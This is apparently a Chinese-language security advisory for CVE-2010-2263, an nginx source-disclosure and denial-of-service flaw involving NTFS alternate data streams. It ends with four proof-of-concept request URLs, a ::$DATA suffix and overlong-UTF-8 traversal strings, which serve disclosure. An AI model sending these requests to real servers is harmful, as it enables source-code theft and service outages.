nginx HTTP请求源码泄露和拒绝服务漏洞

2010-06-1700:00:00

Root

www.seebug.org

0.027 Low

EPSS

Percentile

90.6%

JSON

BugCVE: CVE-2010-2263
BUGTRAQ: 40760

nginx是多平台的HTTP服务器和邮件代理服务器

nginx服务器无法处理交换数据流（ADS），将其处理为普通文件的数据量。攻击者可以使用filename::$data的形式读取并下载Web应用文件的源码；此外如果在HTTP请求中添加了目录遍历序列的话，就可以覆盖内存寄存器，导致拒绝服务。

nginx 0.7.x/0.8.x
厂商补丁：
Igor Sysoev

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://nginx.org/download/nginx-0.8.40.zip


                                                http://www.example.com/index.html::$DATA
http://www.example.com/%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20
http://www.example.com/%c0.%c0./%c0.%c0./%c0.%c0./%20
http://www.example.com/%c0.%c0./%c0.%c0./%20